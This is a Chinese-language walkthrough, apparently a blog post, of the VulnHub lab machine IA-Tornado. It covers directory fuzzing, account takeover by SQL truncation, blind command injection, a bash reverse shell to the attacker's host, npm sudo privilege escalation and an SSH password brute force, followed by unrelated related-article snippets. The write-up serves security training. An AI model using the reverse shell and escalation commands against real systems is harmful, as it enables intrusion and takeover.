vulnhub靶场【IA系列】之Tornado
前言
靶机:IA-Tornado
,IP地址为192.168.10.11
攻击:kali
,IP地址为192.168.10.2
都采用虚拟机,网卡为桥接模式
本文所用靶场、
kali
镜像以及相关工具,我放置在网盘中,可以复制后面链接查看https://pan.quark.cn/s/8585373be449
主机发现
因为是下载靶机到本地,所以是同一局域网,同一网段,同一网卡下,所以为求速度可以使用arp-scan -l
或netdiscover -r 192.168.10.1/24
若想要模拟真实环境,可以使用nmap
信息收集
使用nmap扫描端口
网站信息探测
访问80端口默认界面,发现是apachee2
的默认界面,查看页面源代码也未发现内容
尝试进行目录爆破
使用gobuster、dirsearch、dirb、dirbuster、ffuf
等工具进行爆破
gobuster dir -u http://192.168.10.11 -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md -d -b 404,403
发现一个路径bluesky
,其他路径无可用,访问这个路径,发现是一个前端页面,不知道这种有没有和后端交互
哇,这个界面真的很像现在大部分的网站,都是前后端分离的,不过这里的靶场不确定是否也是,所以对这个路径再进行一次扫描,可以看到还是有后端的语言php
gobuster dir -u http://192.168.10.11/bluesky -w /usr/share/wordlists/dirb/big.txt -x php,html,txt,md
或者借助浏览器插件wappalyzer
也是可以发现编程语言的,这里若是发现后,就可以再使用目录爆破了
访问上面扫描出的路径,通过上面也可以看到,可用的路径两个,一个login.php
一个signup.php
访问login.php
漏洞寻找
尝试输入一些弱密码、万能密码等操作,无法登录成功
再访问signup.php
,发现输入后,会直接提示注册成功信息
以注册的信息进行访问login.php
,并输入注册的信息进行登录
在点击portfolio
时,出现下面字符,说是LFI
漏洞被修复了,但是不要忘记再测试
其实这里点击功能点后,都未发现其他的利用,不过这里是php
,所以测试是否有隐藏传参支持本地文件包含等,也就是进行爆破
这里先查看每个功能点的页面源代码,在portfolio
这里的页面源代码中,出现敏感目录信息
这里假设不知道这个路径,对每个php
文件进行路径测试,可以使用ffuf
或wfuzz
不过这里需要先获取正在登录状态的用户的cookie
才行,可以直接使用浏览器查看登录的cookie
以火狐浏览器为例,打开开发者工具,可按f12
进入
或者利用工具curl
curl -X POST -d "uname=admin&upass=admin&btn=Login" http://192.168.10.11/bluesky/login.php -c c.txt
#-X选择请求方式,这里可以在查看页面源代码处发现,表单提交是POST
#-d 是POST请求体中的数据,这里的数据形式,可以借助浏览器中开发者工具,其中的网络模块,可以发现请求形式
#-c 把cookie保存在当前目录的c.txt文档中
查看c.txt
即可发现cookie
的名称以及值
这里获取到cookie
了,那么为什么确定cookie
才可以呢,这里以ffuf
为例,查看返回
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php
#这是未设置爆破时的,并且未给予`cookie`
上面的返回与目录爆破时一样,都是要302
跳转的。
再以添加cookie
后的返回为对比
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv"
可以看到,指定cookie
后,就可以直接访问了,所以这也是以cookie
做身份验证的
那么尝试使用ffuf
进行测试,当然使用burp
抓包爆破,就通过数据包直接爆破即可,因为请求数据包中含有登录的cookie
信息
不过这里字典跑了很久,并未获取到任何传参等信息,并且登录后的几个php
都测试了
ffuf -c -w /usr/share/wordlists/dirb/common.txt:FUZZ1 -w /usr/share/wordlists/wfuzz/Injections/Traversal.txt:FUZZ2 -u http://192.168.10.11/bluesky/port.php?FUZZ1=FUZZ2 -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205
ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://192.168.10.11/bluesky/port.php?FUZZ=/home/tornado/imp.txt -H "Cookie:PHPSESSID=kmpfqldt8iqc6ps0cfklotvglv" -fs 2205
啧,已知的信息大概就这么多,这里难道不是通过传参进行文件包含的吗
给出的路径/home/tornado/imp.txt
信息泄露
分析这个路径,一般/home
是存放用户的家目录,而其目录下的一般都是用户,就假设这里的路径就是家目录。表示存在用户tornado
。那么之前nmap扫描的时候,目标为linux
,是否可以确定这个路径具有多种表现方式
/home/tornado/imp.txt
~/imp.txt #这里表示当前用户家目录下的imp.txt
~tornado/imp.txt #这里表示用户tornado家目录下的imp.txt
#一般 ~ 后加用户名,表示某用户的家目录
分析来看,一般网站的用户都是www-data
,并且主目录不是在/home
的,并且这里测试php
文件有无传参,并未发现,说明确实修复了, 不过假设不通过传参呢,直接通过网址进行访问进行测试
当前的网址路径有两个,其余可以直接看到的,无意义
http://192.168.10.11
http://192.168.10.11/bluesky
把这两个url
与上面三个路径进行组合
http://192.168.10.11/home/tornado/imp.txt
http://192.168.10.11/~/imp.txt
http://192.168.10.11/~tornado/imp.txt
http://192.168.10.11/bluesky/home/tornado/imp.txt
http://192.168.10.11/bluesky/~/imp.txt
http://192.168.10.11/bluesky/~tornado/imp.txt
然后使用ffuf
测试哪些有返回
发现url
中http://192.168.10.11/~tornado/imp.txt
有返回,访问查看,发现全是邮箱地址
之前在进行登录的时候,用户名处就是邮箱,测试这些用户名是否存在
ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado
在signup.php
这里可以测试是否存在,不存在就会像之前一样,提示注册成功
使用burp
抓取注册时的数据包,然后进行爆破
攻击成功后进行查看,因为这里使用的是burp
社区版,所以不能直接进行搜索结果,不过可以在设置中配置匹配,这里用户已注册会返回User already registered
,以这个进行匹配,就可以清晰的看清了
这里去网站看了一下,这个13是指长度,不过这里长度限制是在表单输入,和我通过抓包修改有什么关系,我已经不受表单控制了,😄
其实主要是观察这三个账户
admin@tornado
jacob@tornado
hr@tornado
不过前面既然注册了,使用burp
再验证一下,奇怪的点出现了,前面manager
注册成功的,这里确登录不了
分析为sql截断
前往浏览器进行手工测试,发现长度限制,那么前面注册的是什么,分析一下,在浏览器进行注册,也是有长度限制的,我是通过burp
绕过这个前端的长度限制。
那么,通过burp
注册的账户,到了数据库怎么处理的,或者说没到数据库的时候经过什么处理了。
直接输入长度限制的账号manager@torna
,啧,登录成功了
好家伙,说明这里前端的长度限制和sql
是一样的,或者说前端是可修改长度,sql
是进行截断操作
这里长度限制为13,那么通过这种形式,测试sql
在进行截断的时候,是否还进行数据库中用户的检验,若没有,就可以存在多个用户了,尤其是空格之类的。
admin@tornado a
jacob@tornado a
hr@tornado a
之后直接登录admin@tornado
,以及注册的密码,发现直接登录成功,但是查看这个功能点,还是不行
再换一个注册jacob@tornado a
,然后以jacob@tornado
登录,好嘛,这里可以看到了
发现这里输入什么就会返回什么,这不就是很好的xss
吗,但是这里要xss
还有什么用吗,都已经登录了,尝试试试输入一些命令,看其能否执行
命令注入
经过测试,输入id、ls
等,直接返回这些字符,不过,我这里测试一下ping
的时候,发现问题。
我刚开始直接输入ping 127.0.0.1
,因为是linux
界面,所以一直在加载,那么,大概就清楚了。然后我把靶机重启了,然后重新验证,只发送5个包,ping -c 127.0.0.1
,发现真的有变化,确定是可以执行命令,只是不把回显返回
尝试进行shell
反弹,先在kali
中使用nc
开启监听9999端口,然后输入下面命令,并执行
/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.2/9999 0>&1'
提权
提权至catchme用户
使用find
寻找具有SUID权限的文件,发现sudo
,直接尝试,发现不需要密码,有一个用户catchme
的文件可执行
find / -perm -4000 -print 2>/dev/null
对于不知道npm
的sudo
提权,可以查看网站gtfobins.github.io
中的帮助
TF=$(mktemp -d)
echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
chmod 777 tmp.Veh2PZ0bMR
sudo -u catchme npm -C $TF --unsafe-perm i
使用dpkg
查看python
版本,然后使用python
获取交互式界面
dpkg -l | grep python
python3 -c 'import pty;pty.spawn("/bin/bash")'
提权至root用户
查看这个用户的家目录
把代码中已经加密的那一串尝试进行分析,因为执行过这个脚本,发现不知道输入什么字符加密了。
不过这里可以通过源代码给进行反写,不会写代码就直接丢给ai
,这里可以提供代码
import string# 待解密的加密字符串
encrypted_text = "hcjqnnsotrrwnqc"for key in string.printable:if len(key) > 1:continues = "abcdefghijklmnopqrstuvwxyz"s = s.replace(key, '')s = key + sdecrypted_text = ""for n in encrypted_text:j = ord(n)if j == ord(key):j = ord('a')decrypted_text += chr(j)elif n > 'a' and n <= key:j = j + 1decrypted_text += chr(j)elif n > key:decrypted_text += nelif ord(n) == 32:decrypted_text += chr(32)elif j >= 48 and j <= 57:decrypted_text += chr(j)elif j >= 33 and j <= 47:decrypted_text += chr(j)elif j >= 58 and j <= 64:decrypted_text += chr(j)elif j >= 91 and j <= 96:decrypted_text += chr(j)elif j >= 123 and j <= 126:decrypted_text += chr(j)print(decrypted_text)
然后执行这个脚本,把结果重定向到一个文件中
其实数据不多,查看一下,就发现一个引人idkrootpassword
把结果进行一个ssh
爆破,针对root
,因为已知的两个用户都用过了
查看最终文件
总结
该靶机主要考察以下几点
- 对于网站路径,以及本地文件包含的注入点测试
- 对于
linux
中~
表示什么意思,以及~用户
表示什么意思,以及/home
是存放什么的 - 对于
sql
截断注入的了解,要测试后,才能知道,这里就是观察到注册成功,但是无法成功登录的情况进行具体分析 - 对于输入框,输入什么返回什么,若是未登录状态,使用
xss
可行,当然,实际情况中,若是真有,可以构造链接,发送给别人。这里是要获取shell
,所以测试命令注入方面。虽然没有回显,但是在执行需要时间的命令时,明显发现是可执行命令的 - 对于
sudo
提权的一些方法,这里是npm
- 对于
python
代码,或者能获取到关键信息也行,现在ai
发展迅速,可以通过ai
直接写出逆向解密的代码
相关文章:

vulnhub靶场【IA系列】之Tornado
前言 靶机:IA-Tornado,IP地址为192.168.10.11 攻击:kali,IP地址为192.168.10.2 都采用虚拟机,网卡为桥接模式 本文所用靶场、kali镜像以及相关工具,我放置在网盘中,可以复制后面链接查看 htt…...

简要认识JAVAWeb技术三剑客:HTMLCSSJavaScript
目录 一、web标准二、什么是HTML三、什么是CSS四、什么是JavaScript 黑马JAVAWeb飞书在线讲义地址: https://heuqqdmbyk.feishu.cn/wiki/LYVswfK4eigRIhkW0pvcqgH9nWd 一、web标准 Web标准也称网页标准,由一系列的标准组成,大部分由W3C&…...

C# 修改项目类型 应用程序程序改类库
初级代码游戏的专栏介绍与文章目录-CSDN博客 我的github:codetoys,所有代码都将会位于ctfc库中。已经放入库中我会指出在库中的位置。 这些代码大部分以Linux为目标但部分代码是纯C的,可以在任何平台上使用。 源码指引:github源…...

卡通风格渲染
1、卡通风格渲染是什么 卡通风格渲染(Cartoon Shading),也称为非真实感渲染(NPR)或卡通渲染(Toon Shading) 主要目的是使3D模型看起来更像手绘的二维卡通或漫画风格,而不是逼真写实…...
ubuntu各分区的用途
在 Ubuntu 中,分区是将硬盘划分为多个逻辑部分的过程,每个分区可以用于不同的用途。合理分区可以提高系统性能、数据安全性和管理效率。以下是 Ubuntu 中常见分区及其用途的详细说明: 1. 根分区 (/) 用途:存放操作系统核心文件、…...

理解STC15F2K60S2单片机的最小电路
一、STC15F2K60S2与51单片机的区别 STC15F2K60S2和51单片机虽然都基于8051内核,但在多个方面存在显著区别: 1. CPU性能: - STC15F2K60S2:采用增强型8051 CPU,1T单时钟/机器周期,速度比普通8051快8-12倍…...

Docker官网安装
1.官网 官方文档 https://www.docker.com/ Docker Hub官网 镜像 https://hub.docker.com/ 2.Docker 的三要素 1、镜像 2、容器 3、仓库 小总结 3.Docker 平台架构图 (架构版本) 4.安装Docker CentOS | Docker Docs 1.确定你是CentOS7及以上版本 …...

成功案例分享 — 芯科科技助力涂鸦智能打造Matter over Thread模块,简化Matter设备开发
芯科科技(Silicon Labs)的愿景之一是让开发者每天都能够更轻松地开发无线物联网(IoT)。特别是在拥有相同愿景的合作伙伴的帮助下,我们每天都在取得进步。但是要想弥合知识水平和物联网开发之间的差距仍会面临一定的挑战…...

基于Python机器学习、深度学习技术提升气象、海洋、水文领域实践应用-以ENSO预测为例讲解
1. 背景与目标 ENSO(El Nio-Southern Oscillation)是全球气候系统中最显著的年际变率现象之一,对全球气候、农业、渔业等有着深远的影响。准确预测ENSO事件的发生和发展对于减灾防灾具有重要意义。近年来,深度学习技术在气象领域…...

【Rust自学】12.6. 使用TDD(测试驱动开发)开发库功能
12.6.0. 写在正文之前 第12章要做一个实例的项目——一个命令行程序。这个程序是一个grep(Global Regular Expression Print),是一个全局正则搜索和输出的工具。它的功能是在指定的文件中搜索出指定的文字。 这个项目分为这么几步: 接收命令行参数读取…...

贪心算法汇总
1.贪心算法 贪心的本质是选择每一阶段的局部最优,从而达到全局最优。 如何能看出局部最优是否能推出整体最优 靠自己手动模拟,如果模拟可行,就可以试一试贪心策略,如果不可行,可能需要动态规划。 如何验证可不可以…...

H266/VVC 帧内预测中 ISP 技术
帧内子划分 ISP ISP 技术是在 JVET-2002-v3 提案中详细介绍其原理,在 VTM8 中完整展示算法。ISP是线基内预测(LIP)模式的更新版本,它改善了原始方法在编码增益和复杂度之间的权衡,ISP 算法的核心原理就是利用较近的像…...
PyTorch 中的 Dropout 解析
文章目录 一、Dropout 的核心作用数值示例:置零与缩放**训练阶段****推理阶段** 二、Dropout 的最佳使用位置与具体实例解析1. 放在全连接层后2. 卷积层后的使用考量3. BatchNorm 层与 Dropout 的关系4. Transformer 中的 Dropout 应用 三、如何确定 Dropout 的位置…...
集中式架构vs分布式架构
一、集中式架构 如何准确理解集中式架构 1. 集中式架构的定义 集中式架构是一种将系统的所有计算、存储、数据处理和控制逻辑集中在一个或少数几个节点上运行的架构模式。这些中央节点(服务器或主机)作为系统的核心,负责处理所有用户请求和…...

微服务主流框架和基础设施介绍
概述 微服务架构的落地需要解决服务治理问题,而服务治理依赖良好的底层方案。当前,微服务的底层方案总的来说可以分为两 种:微服务SDK (微服务框架)和服务网格。 微服务框架运行原理: 应用程序通过接入 SD…...

4.5.1 顺序查找、折半查找(二分查找)
文章目录 基本概念顺序查找折半查找(二分查找)索引顺序查找 基本概念 查找表:由同类元素构成的集合。 查找表按照是否可以修改数据表,可分为静态查找表、动态查找表。 静态查找表:不能修改数据表,可进行查询…...

DDD - 微服务设计与领域驱动设计实战(上)_统一建模语言及事件风暴会议
文章目录 Pre概述业务流程需求分析的困境统一语言建模事件风暴会议什么是事件风暴(Event Storming)事件风暴会议 总结 Pre DDD - 软件退化原因及案例分析 DDD - 如何运用 DDD 进行软件设计 DDD - 如何运用 DDD 进行数据库设计 DDD - 服务、实体与值对…...

基于Piquasso的光量子计算机的模拟与编程
一、引言 在科技飞速发展的当下,量子计算作为前沿领域,正以前所未有的态势蓬勃崛起。它凭借独特的量子力学原理,为解决诸多经典计算难以攻克的复杂问题提供了全新路径。从优化物流配送网络,以实现资源高效调配,到药物分子结构的精准模拟,加速新药研发进程;从金融风险的…...
44_Lua迭代器
在Lua中,迭代器是一种用于遍历集合元素的重要工具。掌握迭代器的使用方法,对于提高Lua编程的效率和代码的可读性具有重要意义。 1.迭代器概述 1.1 迭代器介绍 迭代器是一种设计模式,它提供了一种访问集合元素的方法,而不需要暴露其底层结构。在Lua中,迭代器通常以一个函…...

相机SD卡照片数据不小心全部删除了怎么办?有什么方法恢复吗?
前几天,小编在后台友收到网友反馈说他在整理相机里的SD卡,原本是想把那些记录着美好瞬间的照片导出来慢慢欣赏。结果手一抖,不小心点了“删除所有照片”,等他反应过来,屏幕上已经显示“删除成功”。那一刻,…...
mongodb源码分析session执行handleRequest命令find过程
mongo/transport/service_state_machine.cpp已经分析startSession创建ASIOSession过程,并且验证connection是否超过限制ASIOSession和connection是循环接受客户端命令,把数据流转换成Message,状态转变流程是:State::Created 》 St…...
1688商品列表API与其他数据源的对接思路
将1688商品列表API与其他数据源对接时,需结合业务场景设计数据流转链路,重点关注数据格式兼容性、接口调用频率控制及数据一致性维护。以下是具体对接思路及关键技术点: 一、核心对接场景与目标 商品数据同步 场景:将1688商品信息…...
python如何将word的doc另存为docx
将 DOCX 文件另存为 DOCX 格式(Python 实现) 在 Python 中,你可以使用 python-docx 库来操作 Word 文档。不过需要注意的是,.doc 是旧的 Word 格式,而 .docx 是新的基于 XML 的格式。python-docx 只能处理 .docx 格式…...
【C++从零实现Json-Rpc框架】第六弹 —— 服务端模块划分
一、项目背景回顾 前五弹完成了Json-Rpc协议解析、请求处理、客户端调用等基础模块搭建。 本弹重点聚焦于服务端的模块划分与架构设计,提升代码结构的可维护性与扩展性。 二、服务端模块设计目标 高内聚低耦合:各模块职责清晰,便于独立开发…...

Java面试专项一-准备篇
一、企业简历筛选规则 一般企业的简历筛选流程:首先由HR先筛选一部分简历后,在将简历给到对应的项目负责人后再进行下一步的操作。 HR如何筛选简历 例如:Boss直聘(招聘方平台) 直接按照条件进行筛选 例如:…...

10-Oracle 23 ai Vector Search 概述和参数
一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI,使用客户端或是内部自己搭建集成大模型的终端,加速与大型语言模型(LLM)的结合,同时使用检索增强生成(Retrieval Augmented Generation &#…...

Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习)
Aspose.PDF 限制绕过方案:Java 字节码技术实战分享(仅供学习) 一、Aspose.PDF 简介二、说明(⚠️仅供学习与研究使用)三、技术流程总览四、准备工作1. 下载 Jar 包2. Maven 项目依赖配置 五、字节码修改实现代码&#…...

Mysql中select查询语句的执行过程
目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析(Parser) 2.4、执行sql 1. 预处理(Preprocessor) 2. 查询优化器(Optimizer) 3. 执行器…...
【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error
在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...
【Elasticsearch】Elasticsearch 在大数据生态圈的地位 实践经验
Elasticsearch 在大数据生态圈的地位 & 实践经验 1.Elasticsearch 的优势1.1 Elasticsearch 解决的核心问题1.1.1 传统方案的短板1.1.2 Elasticsearch 的解决方案 1.2 与大数据组件的对比优势1.3 关键优势技术支撑1.4 Elasticsearch 的竞品1.4.1 全文搜索领域1.4.2 日志分析…...